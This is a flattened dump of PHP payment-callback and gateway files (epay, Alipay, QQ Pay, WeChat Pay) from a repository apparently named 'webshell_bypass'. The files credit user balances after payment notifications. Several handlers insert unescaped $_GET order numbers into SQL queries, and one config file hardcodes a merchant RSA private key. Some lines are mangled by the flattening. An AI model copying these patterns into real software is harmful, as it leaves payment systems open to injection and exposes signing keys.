37 | }else{ 38 | $DB->query("update `moyu_pay` set `endtime` ='$date' where `trade_no`='{$out_trade_no}'"); 39 | showalert('您所充值的余额已付款成功,感谢充值!',1,$out_trade_no,$srow['tid']); 40 | } 41 | } 42 | ?> -------------------------------------------------------------------------------- /Index/other/epay/epay.config.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Index/other/epay/epay_submit.class.php: -------------------------------------------------------------------------------- 1 | alipay_config = $alipay_config; 16 | $this->alipay_gateway_new = $this->alipay_config['apiurl'].'submit.php'; 17 | } 18 | function AlipaySubmit($alipay_config) { 19 | $this->__construct($alipay_config); 20 | } 21 | 22 | /** 23 | * 生成签名结果 24 | * @param $para_sort 已排序要签名的数组 25 | * return 签名结果字符串 26 | */ 27 | function buildRequestMysign($para_sort) { 28 | //把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串 29 | $prestr = createLinkstring($para_sort); 30 | 31 | $mysign = md5Sign($prestr, $this->alipay_config['key']); 32 | 33 | return $mysign; 34 | } 35 | 36 | /** 37 | * 生成要请求给支付宝的参数数组 38 | * @param $para_temp 请求前的参数数组 39 | * @return 要请求的参数数组 40 | */ 41 | function buildRequestPara($para_temp) { 42 | //除去待签名参数数组中的空值和签名参数 43 | $para_filter = paraFilter($para_temp); 44 | 45 | //对待签名参数数组排序 46 | $para_sort = argSort($para_filter); 47 | 48 | //生成签名结果 49 | $mysign = $this->buildRequestMysign($para_sort); 50 | 51 | //签名结果与签名方式加入请求提交参数组中 52 | $para_sort['sign'] = $mysign; 53 | $para_sort['sign_type'] = strtoupper(trim($this->alipay_config['sign_type'])); 54 | 55 | return $para_sort; 56 | } 57 | 58 | /** 59 | * 生成要请求给支付宝的参数数组 60 | * @param $para_temp 请求前的参数数组 61 | * @return 要请求的参数数组字符串 62 | */ 63 | function buildRequestParaToString($para_temp) { 64 | //待请求参数数组 65 | $para = $this->buildRequestPara($para_temp); 66 | 67 | //把参数组中所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串,并对字符串做urlencode编码 68 | $request_data = createLinkstringUrlencode($para); 69 | 70 | return $request_data; 71 | } 72 | 73 | /** 74 | * 建立请求,以表单HTML形式构造(默认) 75 | * @param $para_temp 请求参数数组 76 | * @param $method 提交方式。两个值可选:post、get 77 | * @param $button_name 确认按钮显示文字 78 | * @return 提交表单HTML文本 79 | */ 80 | function buildRequestForm($para_temp, $method='POST', $button_name='正在跳转') { 81 | //待请求参数数组 82 | $para = $this->buildRequestPara($para_temp); 83 | 84 | $sHtml = ""; 85 | while (list ($key, $val) = each ($para)) { 86 | $sHtml.= ""; 87 | } 88 | 89 | //submit按钮控件请不要含有name属性 90 | $sHtml = $sHtml.""; 91 | 92 | $sHtml = $sHtml.""; 93 | 94 | return $sHtml; 95 | } 96 | } 97 | ?> -------------------------------------------------------------------------------- /Index/other/epay_notify.php: -------------------------------------------------------------------------------- 1 | verifyNotify(); 25 | 26 | if($verify_result) {//验证成功 27 | //商户订单号 28 | 29 | $out_trade_no = $_GET['out_trade_no']; 30 | 31 | //支付宝交易号 32 | 33 | $trade_no = $_GET['trade_no']; 34 | 35 | //交易状态 36 | $trade_status = $_GET['trade_status']; 37 | 38 | $srow=$DB->get_row("SELECT * FROM moyu_pay WHERE trade_no='{$out_trade_no}' limit 1"); 39 | 40 | if($_GET['trade_status'] == 'TRADE_FINISHED') { 41 | //退款日期超过可退款期限后(如三个月可退款),支付宝系统发送该交易状态通知 42 | } 43 | else if ($_GET['trade_status'] == 'TRADE_SUCCESS' && $srow['status']==0) { 44 | //付款完成后,支付宝系统发送该交易状态通知 45 | $DB->query("update `moyu_pay` set `status` ='1',`endtime` ='$date' where `trade_no`='{$out_trade_no}'"); 46 | $DB->query("update `moyu_daili` set rmb=rmb+'".$srow['money']."' where user='".$srow['user']."'"); 47 | } 48 | 49 | echo "success"; 50 | } 51 | else { 52 | //验证失败 53 | echo "fail"; 54 | } 55 | ?> -------------------------------------------------------------------------------- /Index/other/epay_return.php: -------------------------------------------------------------------------------- 1 | verifyReturn(); 23 | if($verify_result) { 24 | //商户订单号 25 | 26 | $out_trade_no = $_GET['out_trade_no']; 27 | 28 | //支付宝交易号 29 | 30 | $trade_no = $_GET['trade_no']; 31 | 32 | //交易状态 33 | $trade_status = $_GET['trade_status']; 34 | 35 | $srow=$DB->get_row("SELECT * FROM moyu_pay WHERE trade_no='{$out_trade_no}' limit 1"); 36 | 37 | if($_GET['trade_status'] == 'TRADE_FINISHED' || $_GET['trade_status'] == 'TRADE_SUCCESS') { 38 | if($srow['status']==0){ 39 | $DB->query("update `moyu_pay` set `status` ='1',`endtime` ='$date' where `trade_no`='{$out_trade_no}'"); 40 | $DB->query("update `moyu_daili` set rmb=rmb+'".$srow['money']."' where user='".$srow['user']."'"); 41 | showalert('您所充值的余额已付款成功,感谢充值!',1,$out_trade_no); 42 | }else{ 43 | showalert('您所充值的余额已付款成功,感谢充值!',1,$out_trade_no); 44 | } 45 | }else{ 46 | echo "trade_status=".$_GET['trade_status']; 47 | } 48 | } 49 | else { 50 | //验证失败 51 | showalert('验证失败!',4,'shop'); 52 | } 53 | 54 | ?> -------------------------------------------------------------------------------- /Index/other/f2fpay/config.php: -------------------------------------------------------------------------------- 1 | "RSA2", 5 | 6 | //支付宝公钥 7 | 'alipay_public_key' => "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAm0frLLY3U/9pQvkdw3KC6jZ48CaSMxsXt8zryxDS21xBFJJKsqDJ0C01cwrMLaHXrx96Sd83Lj63HRzN3zyYgB/OJ5x2LiYDELFZ4Fe0ow5wajltw972hJlSeb+STIO+frDM5DXxZ9r2PIXyq0S1+1jDCX1ReNJfwPQ8x8WbDEnzXRaXoEfOaf7Qshlw0ih+i233aemZBbn1Liqj+dq2dLSV9pB1XV7XbDq8ZHORa48y00/EvOvSa6prgzc4vIjlbBxP/Yl2p5iTVNsDOkFFTF7/8CEmw72LOSNAYx9f+BASEgC7BQSSWL+ukT9kssUtdHiLYW51eF3659/9ktS5nwIDAQAB", 8 | 9 | //商户私钥 10 | 'merchant_private_key' => "MIICdQIBADANBgkqhkiG9w0BAQEFAASCAl8wggJbAgEAAoGBAJL8lwDY/0vVjReUy7akMZ/ldmzcih6cn5BLctOBp1TbI02+zQzSldSXQQeLpbvIc/6mwYlAV37SRLY+9nUeF7/9T7E09aWew4m61eGatyFkw5FmZf3MvzGX7p4WGANXWQ33QkXjKJmW9fAChXUDlPL76DbmJ1Ts8y61v2Sxd7aXAgMBAAECgYBsIeCg4gKmclsSzwcyvQY44GFH4tLFhGmqiKbXzJkiRvho2IYW+dD6Da/sciKhy+zxmRHl++yiQuQDwrwjGtlS5z3ir2LGNDN0EeAxeSDFFO7MfAuVeqAwKWNMC8FbiagfiaL5qqLhvzh8bM0lT10D8D2+NU9BZJ+wfsBWZa0uKQJBAN8WZ/+/lOGZPCPotZVilEubZArn5d/mn1k+PjSoXJWT3HQkGGsfVXidr8/tODdwdn5oNga/Un5Qh/6iLobbgfsCQQCoq/+nzIZ2RWBMqEPkUBWj/1p7DFQt6edLMkPhxL0qAL3QRCFX63cyr2r4vINkuO4R990h4HlO1wrH6OjYcZcVAkB2nnRYAWdJeXAH6/G5Z7xQY2STg/Cv1/G8wyLSXv8zrXZX7uVo+DU7OCVGmuz8VXk8B29KsSpM7ccR9uxkWo1HAkBm1ue7UVIyTj5WvskWLVXkdc6e83dnvxNMn8sPnjqPn4AbuU5zIpe8iYO5QIcEJFTTE8L54rlTvn1OQc2mGiu5AkB/WrRogkBJ+B9uA8ef2V6vJ6E65GDQn8fE/PvOiFWv4QQDpy0R7gSd48SHu9SRoIjTlMxyzPzGm/NbYJtl9VUY", 11 | 12 | //编码格式 13 | 'charset' => "UTF-8", 14 | 15 | //支付宝网关 16 | 'gatewayUrl' => "https://openapi.alipay.com/gateway.do", 17 | 18 | //应用ID 19 | 'app_id' => "2017060707441959", 20 | 21 | //异步通知地址,只有扫码支付预下单可用 22 | 'notify_url' => $siteurl.'f2fpay_notify.php', 23 | 24 | //最大查询重试次数 25 | 'MaxQueryRetry' => "10", 26 | 27 | //查询间隔 28 | 'QueryDuration' => "3" 29 | ); -------------------------------------------------------------------------------- /Index/other/f2fpay/lib/AopEncrypt.php: -------------------------------------------------------------------------------- 1 | bizContentarr)){ 25 | $this->bizContent = json_encode($this->bizContentarr,JSON_UNESCAPED_UNICODE); 26 | } 27 | return $this->bizContent; 28 | } 29 | 30 | public function getOutTradeNo() 31 | { 32 | return $this->outTradeNo; 33 | } 34 | 35 | public function setOutTradeNo($outTradeNo) 36 | { 37 | $this->outTradeNo = $outTradeNo; 38 | $this->bizContentarr['out_trade_no'] = $outTradeNo; 39 | } 40 | 41 | public function getTradeNo() 42 | { 43 | return $this->tradeNo; 44 | } 45 | 46 | public function setTradeNo($tradeNo) 47 | { 48 | $this->tradeNo = $tradeNo; 49 | $this->bizContentarr['trade_no'] = $tradeNo; 50 | } 51 | 52 | 53 | } 54 | 55 | ?> -------------------------------------------------------------------------------- /Index/other/f2fpay/model/builder/ContentBuilder.php: -------------------------------------------------------------------------------- 1 | appAuthToken = $appAuthToken; 20 | } 21 | 22 | public function setNotifyUrl($notifyUrl) 23 | { 24 | $this->notifyUrl = $notifyUrl; 25 | } 26 | 27 | public function getAppAuthToken() 28 | { 29 | return $this->appAuthToken; 30 | } 31 | 32 | public function getNotifyUrl() 33 | { 34 | return $this->notifyUrl; 35 | } 36 | } -------------------------------------------------------------------------------- /Index/other/f2fpay/model/builder/ExtendParams.php: -------------------------------------------------------------------------------- 1 | extendParamsArr)) { 25 | return $this->extendParamsArr; 26 | } 27 | } 28 | 29 | public function getSysServiceProviderId() 30 | { 31 | return $this->sysServiceProviderId; 32 | } 33 | 34 | public function setSysServiceProviderId($sysServiceProviderId) 35 | { 36 | $this->sysServiceProviderId = $sysServiceProviderId; 37 | $this->extendParamsArr['sys_service_provider_id'] = $sysServiceProviderId; 38 | } 39 | 40 | public function getHbFqNum() 41 | { 42 | return $this->hbFqNum; 43 | } 44 | 45 | public function setHbFqNum($hbFqNum) 46 | { 47 | $this->hbFqNum = $hbFqNum; 48 | $this->extendParamsArr['hb_fq_num'] = $hbFqNum; 49 | } 50 | 51 | public function getHbFqSellerPercent() 52 | { 53 | return $this->hbFqSellerPercent; 54 | } 55 | 56 | public function setHbFqSellerPercent($hbFqSellerPercent) 57 | { 58 | $this->hbFqSellerPercent = $hbFqSellerPercent; 59 | $this->extendParamsArr['hb_fq_seller_percent'] = $hbFqSellerPercent; 60 | } 61 | } -------------------------------------------------------------------------------- /Index/other/f2fpay/model/request/AlipayTradePrecreateRequest.php: -------------------------------------------------------------------------------- 1 | bizContent = $bizContent; 29 | $this->apiParas["biz_content"] = $bizContent; 30 | } 31 | 32 | public function getBizContent() 33 | { 34 | return $this->bizContent; 35 | } 36 | 37 | public function getApiMethodName() 38 | { 39 | return "alipay.trade.precreate"; 40 | } 41 | 42 | public function setNotifyUrl($notifyUrl) 43 | { 44 | $this->notifyUrl=$notifyUrl; 45 | } 46 | 47 | public function getNotifyUrl() 48 | { 49 | return $this->notifyUrl; 50 | } 51 | 52 | public function setReturnUrl($returnUrl) 53 | { 54 | $this->returnUrl=$returnUrl; 55 | } 56 | 57 | public function getReturnUrl() 58 | { 59 | return $this->returnUrl; 60 | } 61 | 62 | public function getApiParas() 63 | { 64 | return $this->apiParas; 65 | } 66 | 67 | public function getTerminalType() 68 | { 69 | return $this->terminalType; 70 | } 71 | 72 | public function setTerminalType($terminalType) 73 | { 74 | $this->terminalType = $terminalType; 75 | } 76 | 77 | public function getTerminalInfo() 78 | { 79 | return $this->terminalInfo; 80 | } 81 | 82 | public function setTerminalInfo($terminalInfo) 83 | { 84 | $this->terminalInfo = $terminalInfo; 85 | } 86 | 87 | public function getProdCode() 88 | { 89 | return $this->prodCode; 90 | } 91 | 92 | public function setProdCode($prodCode) 93 | { 94 | $this->prodCode = $prodCode; 95 | } 96 | 97 | public function setApiVersion($apiVersion) 98 | { 99 | $this->apiVersion=$apiVersion; 100 | } 101 | 102 | public function getApiVersion() 103 | { 104 | return $this->apiVersion; 105 | } 106 | 107 | public function setNeedEncrypt($needEncrypt) 108 | { 109 | 110 | $this->needEncrypt=$needEncrypt; 111 | 112 | } 113 | 114 | public function getNeedEncrypt() 115 | { 116 | return $this->needEncrypt; 117 | } 118 | 119 | } 120 | -------------------------------------------------------------------------------- /Index/other/f2fpay/model/request/AlipayTradeQueryRequest.php: -------------------------------------------------------------------------------- 1 | bizContent = $bizContent; 29 | $this->apiParas["biz_content"] = $bizContent; 30 | } 31 | 32 | public function getBizContent() 33 | { 34 | return $this->bizContent; 35 | } 36 | 37 | public function getApiMethodName() 38 | { 39 | return "alipay.trade.query"; 40 | } 41 | 42 | public function setNotifyUrl($notifyUrl) 43 | { 44 | $this->notifyUrl=$notifyUrl; 45 | } 46 | 47 | public function getNotifyUrl() 48 | { 49 | return $this->notifyUrl; 50 | } 51 | 52 | public function setReturnUrl($returnUrl) 53 | { 54 | $this->returnUrl=$returnUrl; 55 | } 56 | 57 | public function getReturnUrl() 58 | { 59 | return $this->returnUrl; 60 | } 61 | 62 | public function getApiParas() 63 | { 64 | return $this->apiParas; 65 | } 66 | 67 | public function getTerminalType() 68 | { 69 | return $this->terminalType; 70 | } 71 | 72 | public function setTerminalType($terminalType) 73 | { 74 | $this->terminalType = $terminalType; 75 | } 76 | 77 | public function getTerminalInfo() 78 | { 79 | return $this->terminalInfo; 80 | } 81 | 82 | public function setTerminalInfo($terminalInfo) 83 | { 84 | $this->terminalInfo = $terminalInfo; 85 | } 86 | 87 | public function getProdCode() 88 | { 89 | return $this->prodCode; 90 | } 91 | 92 | public function setProdCode($prodCode) 93 | { 94 | $this->prodCode = $prodCode; 95 | } 96 | 97 | public function setApiVersion($apiVersion) 98 | { 99 | $this->apiVersion=$apiVersion; 100 | } 101 | 102 | public function getApiVersion() 103 | { 104 | return $this->apiVersion; 105 | } 106 | 107 | public function setNeedEncrypt($needEncrypt) 108 | { 109 | 110 | $this->needEncrypt=$needEncrypt; 111 | 112 | } 113 | 114 | public function getNeedEncrypt() 115 | { 116 | return $this->needEncrypt; 117 | } 118 | 119 | } 120 | -------------------------------------------------------------------------------- /Index/other/f2fpay/model/request/AlipayTradeRefundRequest.php: -------------------------------------------------------------------------------- 1 | bizContent = $bizContent; 28 | $this->apiParas["biz_content"] = $bizContent; 29 | } 30 | 31 | public function getBizContent() 32 | { 33 | return $this->bizContent; 34 | } 35 | 36 | public function getApiMethodName() 37 | { 38 | return "alipay.trade.refund"; 39 | } 40 | 41 | public function setNotifyUrl($notifyUrl) 42 | { 43 | $this->notifyUrl=$notifyUrl; 44 | } 45 | 46 | public function getNotifyUrl() 47 | { 48 | return $this->notifyUrl; 49 | } 50 | 51 | public function setReturnUrl($returnUrl) 52 | { 53 | $this->returnUrl=$returnUrl; 54 | } 55 | 56 | public function getReturnUrl() 57 | { 58 | return $this->returnUrl; 59 | } 60 | 61 | public function getApiParas() 62 | { 63 | return $this->apiParas; 64 | } 65 | 66 | public function getTerminalType() 67 | { 68 | return $this->terminalType; 69 | } 70 | 71 | public function setTerminalType($terminalType) 72 | { 73 | $this->terminalType = $terminalType; 74 | } 75 | 76 | public function getTerminalInfo() 77 | { 78 | return $this->terminalInfo; 79 | } 80 | 81 | public function setTerminalInfo($terminalInfo) 82 | { 83 | $this->terminalInfo = $terminalInfo; 84 | } 85 | 86 | public function getProdCode() 87 | { 88 | return $this->prodCode; 89 | } 90 | 91 | public function setProdCode($prodCode) 92 | { 93 | $this->prodCode = $prodCode; 94 | } 95 | 96 | public function setApiVersion($apiVersion) 97 | { 98 | $this->apiVersion=$apiVersion; 99 | } 100 | 101 | public function getApiVersion() 102 | { 103 | return $this->apiVersion; 104 | } 105 | 106 | public function setNeedEncrypt($needEncrypt) 107 | { 108 | 109 | $this->needEncrypt=$needEncrypt; 110 | 111 | } 112 | 113 | public function getNeedEncrypt() 114 | { 115 | return $this->needEncrypt; 116 | } 117 | 118 | } 119 | -------------------------------------------------------------------------------- /Index/other/f2fpay/model/result/AlipayF2FPrecreateResult.php: -------------------------------------------------------------------------------- 1 | response = $response; 16 | } 17 | 18 | public function AlipayF2FPrecreateResult($response) 19 | { 20 | $this->__construct($response); 21 | } 22 | 23 | public function setTradeStatus($tradeStatus) 24 | { 25 | $this->tradeStatus = $tradeStatus; 26 | } 27 | 28 | public function getTradeStatus() 29 | { 30 | return $this->tradeStatus; 31 | } 32 | 33 | public function setResponse($response) 34 | { 35 | $this->response = $response; 36 | } 37 | 38 | public function getResponse() 39 | { 40 | return $this->response; 41 | } 42 | } 43 | 44 | ?> -------------------------------------------------------------------------------- /Index/other/f2fpay/model/result/AlipayF2FQueryResult.php: -------------------------------------------------------------------------------- 1 | response = $response; 16 | } 17 | 18 | public function AlipayF2FPayResult($response) 19 | { 20 | $this->__construct($response); 21 | } 22 | 23 | public function setTradeStatus($tradeStatus) 24 | { 25 | $this->tradeStatus = $tradeStatus; 26 | } 27 | 28 | public function getTradeStatus() 29 | { 30 | return $this->tradeStatus; 31 | } 32 | 33 | public function setResponse($response) 34 | { 35 | $this->response = $response; 36 | } 37 | 38 | public function getResponse() 39 | { 40 | return $this->response; 41 | } 42 | } 43 | 44 | ?> -------------------------------------------------------------------------------- /Index/other/f2fpay/model/result/AlipayF2FRefundResult.php: -------------------------------------------------------------------------------- 1 | response = $response; 16 | } 17 | 18 | public function AlipayF2FPayResult($response) 19 | { 20 | $this->__construct($response); 21 | } 22 | 23 | public function setTradeStatus($tradeStatus) 24 | { 25 | $this->tradeStatus = $tradeStatus; 26 | } 27 | 28 | public function getTradeStatus() 29 | { 30 | return $this->tradeStatus; 31 | } 32 | 33 | public function setResponse($response) 34 | { 35 | $this->response = $response; 36 | } 37 | 38 | public function getResponse() 39 | { 40 | return $this->response; 41 | } 42 | } 43 | 44 | ?> -------------------------------------------------------------------------------- /Index/other/f2fpay_notify.php: -------------------------------------------------------------------------------- 1 | writeLog(var_export($_POST,true)); 13 | $verify_result = $alipaySevice->check($_POST); 14 | 15 | if($verify_result && $conf['alipay_api']==3) {//验证成功 16 | //商户订单号 $out_trade_no = daddslashes($_POST['out_trade_no']); 17 | 18 | //支付宝交易号 $trade_no = $_POST['trade_no']; 19 | 20 | //交易状态 21 | $trade_status = $_POST['trade_status']; 22 | 23 | //买家支付宝 24 | $buyer_id = daddslashes($_POST['buyer_id']); 25 | 26 | $srow=$DB->get_row("SELECT * FROM moyu_pay WHERE trade_no='{$out_trade_no}' limit 1 for update"); 27 | 28 | if ($_POST['trade_status'] == 'TRADE_SUCCESS' && $srow['status']==0) { 29 | //付款完成后,支付宝系统发送该交易状态通知 30 | if($srow['status']==0){ 31 | $DB->query("update `moyu_pay` set `status` ='1',`endtime` ='$date' where `trade_no`='{$out_trade_no}'"); 32 | $DB->query("update `moyu_daili` set rmb=rmb+'".$srow['money']."' where user='".$srow['user']."'"); 33 | showalert('您所充值的余额已付款成功,感谢充值!',1,$out_trade_no); 34 | }else{ 35 | showalert('您所充值的余额已付款成功,感谢充值!',1,$out_trade_no); 36 | } 37 | } 38 | 39 | echo "success"; 40 | } 41 | else { 42 | //验证失败 43 | echo "fail"; 44 | } 45 | ?> -------------------------------------------------------------------------------- /Index/other/getshop.php: -------------------------------------------------------------------------------- 1 | get_row("SELECT * FROM moyu_pay WHERE trade_no='{$trade_no}' limit 1"); 10 | 11 | if($orderid) 12 | echo ''; 13 | else 14 | echo ''; 15 | 16 | if($row['status']>=1){ 17 | exit('{"code":1,"msg":"付款成功","backurl":"'.$link.'"}'); 18 | }else{ 19 | exit('{"code":-1,"msg":"未付款"}'); 20 | } 21 | ?> -------------------------------------------------------------------------------- /Index/other/inc.php: -------------------------------------------------------------------------------- 1 | pre_fetch(); 32 | 33 | include ROOT.'includes/function.php'; 34 | include ROOT.'includes/member.php'; 35 | 36 | $clientip=real_ip(); 37 | if($conf['payapi']==0){ 38 | $payapi = "http://pays.sddyun.cn/";//你要改的支付网址 39 | } 40 | 41 | function showalert($msg,$status,$orderid=null){ 42 | if($orderid) 43 | echo ''; 44 | else 45 | echo ''; 46 | } -------------------------------------------------------------------------------- /Index/other/qqpay/qpayMch.config.php: -------------------------------------------------------------------------------- 1 | url = $url; 23 | $this->isSSL = $isSSL; 24 | $this->timeout = $timeout; 25 | } 26 | 27 | public function reqQpay($params){ 28 | $ret = array(); 29 | //商户号 30 | $params["mch_id"] = QpayMchConf::MCH_ID; 31 | //随机字符串 32 | $params["nonce_str"] = QpayMchUtil::createNoncestr(); 33 | //签名 34 | $params["sign"] = QpayMchUtil::getSign($params); 35 | //生成xml 36 | $xml = QpayMchUtil::arrayToXml($params); 37 | 38 | if(isset($this->isSSL)){ 39 | $ret = QpayMchUtil::reqByCurlSSLPost($xml, $this->url, $this->timeout); 40 | }else{ 41 | $ret = QpayMchUtil::reqByCurlNormalPost($xml, $this->url, $this->timeout); 42 | } 43 | return $ret; 44 | } 45 | 46 | } -------------------------------------------------------------------------------- /Index/other/qqpay/qpayNotify.class.php: -------------------------------------------------------------------------------- 1 | params = $params; 17 | $this->sign = $params['sign']; 18 | return $params; 19 | } 20 | 21 | function verifySign() { 22 | $sign = QpayMchUtil::getSign($this->params); 23 | return $sign == $this->sign; 24 | } 25 | 26 | } -------------------------------------------------------------------------------- /Index/other/qqpay_notify.php: -------------------------------------------------------------------------------- 1 | getParams(); 12 | //判断签名 13 | if($qpayNotify->verifySign()) { 14 | 15 | //判断签名及结果(即时到帐) 16 | if($result['trade_state'] == "SUCCESS") { 17 | //商户订单号 18 | $out_trade_no = $result['out_trade_no']; 19 | //QQ钱包订单号 20 | $transaction_id = $result['transaction_id']; 21 | //金额,以分为单位 22 | $total_fee = $result['total_fee']; 23 | //币种 24 | $fee_type = $result['fee_type']; 25 | 26 | //------------------------------ 27 | //处理业务开始 28 | //------------------------------ 29 | $srow=$DB->get_row("SELECT * FROM moyu_pay WHERE trade_no='{$out_trade_no}' limit 1"); 30 | 31 | if($srow['status']==0){ 32 | $DB->query("update `moyu_pay` set `status` ='1',`endtime` ='$date' where `trade_no`='{$out_trade_no}'"); 33 | $DB->query("update `moyu_daili` set rmb=rmb+'".$srow['money']."' where user='".$srow['user']."'"); 34 | } 35 | //------------------------------ 36 | //处理业务完毕 37 | //------------------------------ 38 | echo " 39 | SUCCESS 40 | "; 41 | } else { 42 | echo " 43 | FAIL 44 | "; 45 | } 46 | 47 | } else { 48 | //回调签名错误 49 | echo " 50 | FAIL 51 | 签名失败 52 | "; 53 | } 54 | 55 | 56 | 57 | ?> -------------------------------------------------------------------------------- /Index/other/tenpay/CheckRequestHandler.class.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/other/tenpay/CheckRequestHandler.class.php -------------------------------------------------------------------------------- /Index/other/tenpay/RequestHandler.class.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/other/tenpay/RequestHandler.class.php -------------------------------------------------------------------------------- /Index/other/tenpay/ResponseHandler.class.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/other/tenpay/ResponseHandler.class.php -------------------------------------------------------------------------------- /Index/other/tenpay/client/ClientResponseHandler.class.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/other/tenpay/client/ClientResponseHandler.class.php -------------------------------------------------------------------------------- /Index/other/tenpay/client/TenpayHttpClient.class.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/other/tenpay/client/TenpayHttpClient.class.php -------------------------------------------------------------------------------- /Index/other/wxpay/WxPay.Config.php: -------------------------------------------------------------------------------- 1 | getMessage(); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /Index/other/wxpay/WxPay.NativePay.php: -------------------------------------------------------------------------------- 1 | SetProduct_id($productId); 20 | $values = WxpayApi::bizpayurl($biz); 21 | $url = "weixin://wxpay/bizpayurl?" . $this->ToUrlParams($values); 22 | return $url; 23 | } 24 | 25 | /** 26 | * 27 | * 参数数组转换为url参数 28 | * @param array $urlObj 29 | */ 30 | private function ToUrlParams($urlObj) 31 | { 32 | $buff = ""; 33 | foreach ($urlObj as $k => $v) 34 | { 35 | $buff .= $k . "=" . $v . "&"; 36 | } 37 | 38 | $buff = trim($buff, "&"); 39 | return $buff; 40 | } 41 | 42 | /** 43 | * 44 | * 生成直接支付url,支付url有效期为2小时,模式二 45 | * @param UnifiedOrderInput $input 46 | */ 47 | public function GetPayUrl($input) 48 | { 49 | $result = WxPayApi::unifiedOrder($input); 50 | return $result; 51 | } 52 | } -------------------------------------------------------------------------------- /Index/other/wxpay/WxPay.Notify.php: -------------------------------------------------------------------------------- 1 | SetReturn_code("FAIL"); 22 | $this->SetReturn_msg($msg); 23 | $this->ReplyNotify(false); 24 | return; 25 | } else { 26 | //该分支在成功回调到NotifyCallBack方法,处理完成之后流程 27 | $this->SetReturn_code("SUCCESS"); 28 | $this->SetReturn_msg("OK"); 29 | } 30 | $this->ReplyNotify($needSign); 31 | } 32 | 33 | /** 34 | * 35 | * 回调方法入口,子类可重写该方法 36 | * 注意: 37 | * 1、微信回调超时时间为2s,建议用户使用异步处理流程,确认成功之后立刻回复微信服务器 38 | * 2、微信服务器在调用失败或者接到回包为非确认包的时候,会发起重试,需确保你的回调是可以重入 39 | * @param array $data 回调解释出的参数 40 | * @param string $msg 如果回调处理失败,可以将错误信息输出到该方法 41 | * @return true回调出来完成不需要继续回调,false回调处理未完成需要继续回调 42 | */ 43 | public function NotifyProcess($data, &$msg) 44 | { 45 | //TODO 用户基础该类之后需要重写该方法,成功的时候返回true,失败返回false 46 | } 47 | 48 | /** 49 | * 50 | * notify回调方法,该方法中需要赋值需要输出的参数,不可重写 51 | * @param array $data 52 | * @return true回调出来完成不需要继续回调,false回调处理未完成需要继续回调 53 | */ 54 | final public function NotifyCallBack($data) 55 | { 56 | $msg = "OK"; 57 | $result = $this->NotifyProcess($data, $msg); 58 | 59 | if($result == true){ 60 | $this->SetReturn_code("SUCCESS"); 61 | $this->SetReturn_msg("OK"); 62 | } else { 63 | $this->SetReturn_code("FAIL"); 64 | $this->SetReturn_msg($msg); 65 | } 66 | return $result; 67 | } 68 | 69 | /** 70 | * 71 | * 回复通知 72 | * @param bool $needSign 是否需要签名输出 73 | */ 74 | final private function ReplyNotify($needSign = true) 75 | { 76 | //如果需要签名 77 | if($needSign == true && 78 | $this->GetReturn_code($return_code) == "SUCCESS") 79 | { 80 | $this->SetSign(); 81 | } 82 | WxpayApi::replyNotify($this->ToXml()); 83 | } 84 | } -------------------------------------------------------------------------------- /Index/other/wxpay_notify.php: -------------------------------------------------------------------------------- 1 | SetTransaction_id($transaction_id); 18 | $result = WxPayApi::orderQuery($input); 19 | //Log::DEBUG("query:" . json_encode($result)); 20 | if(array_key_exists("return_code", $result) 21 | && array_key_exists("result_code", $result) 22 | && $result["return_code"] == "SUCCESS" 23 | && $result["result_code"] == "SUCCESS") 24 | { 25 | return true; 26 | } 27 | return false; 28 | } 29 | 30 | //重写回调处理函数 31 | public function NotifyProcess($data, &$msg) 32 | { 33 | //file_put_contents('log.txt',"call back:" . json_encode($data)); 34 | $notfiyOutput = array(); 35 | 36 | if(!array_key_exists("transaction_id", $data)){ 37 | $msg = "输入参数不正确"; 38 | return false; 39 | } 40 | //查询订单,判断订单真实性 41 | if(!$this->Queryorder($data["transaction_id"])){ 42 | $msg = "订单查询失败"; 43 | return false; 44 | } 45 | global $DB,$date,$conf; 46 | if($data['return_code']=='SUCCESS'){ 47 | if($data['result_code']=='SUCCESS'){ 48 | $out_trade_no = daddslashes($data['out_trade_no']); 49 | $srow=$DB->get_row("SELECT * FROM moyu_pay WHERE trade_no='{$out_trade_no}' limit 1 for update"); 50 | 51 | if($srow['status']==0){ 52 | $DB->query("update `moyu_pay` set `status` ='1' where `trade_no`='{$out_trade_no}'"); 53 | if($DB->affected()>=1){ 54 | $DB->query("update `moyu_pay` set `endtime` ='$date' where `trade_no`='{$out_trade_no}'"); 55 | $DB->query("update `moyu_daili` set rmb=rmb+'".$srow['money']."' where user='".$srow['user']."'"); 56 | } 57 | $msg='OK'; 58 | return true; 59 | }else{ 60 | $msg='该订单已经处理'; 61 | return true; 62 | } 63 | }else{ 64 | $msg='['.$data['err_code'].']'.$data['err_code_des']; 65 | return false; 66 | } 67 | }else{ 68 | $msg='['.$data['return_code'].']'.$data['return_msg']; 69 | return false; 70 | } 71 | return true; 72 | } 73 | } 74 | 75 | //Log::DEBUG("begin notify"); 76 | $notify = new PayNotifyCallBack(); 77 | $notify->Handle(false); 78 | -------------------------------------------------------------------------------- /Index/other/wxwap_ok.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 |
    14 |

    支付结果页面

    15 |
    16 |
    17 |
    18 |
    19 | 支付成功,请关闭此页面 20 |
    21 |
    22 | 27 | 28 | -------------------------------------------------------------------------------- /Index/other/wxwap_return.php: -------------------------------------------------------------------------------- 1 | get_row("SELECT * FROM moyu_pay WHERE trade_no='{$trade_no}' limit 1"); 8 | if(!$row)exit('该订单号不存在,请返回来源地重新发起请求!'); 9 | 10 | ?> 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 |
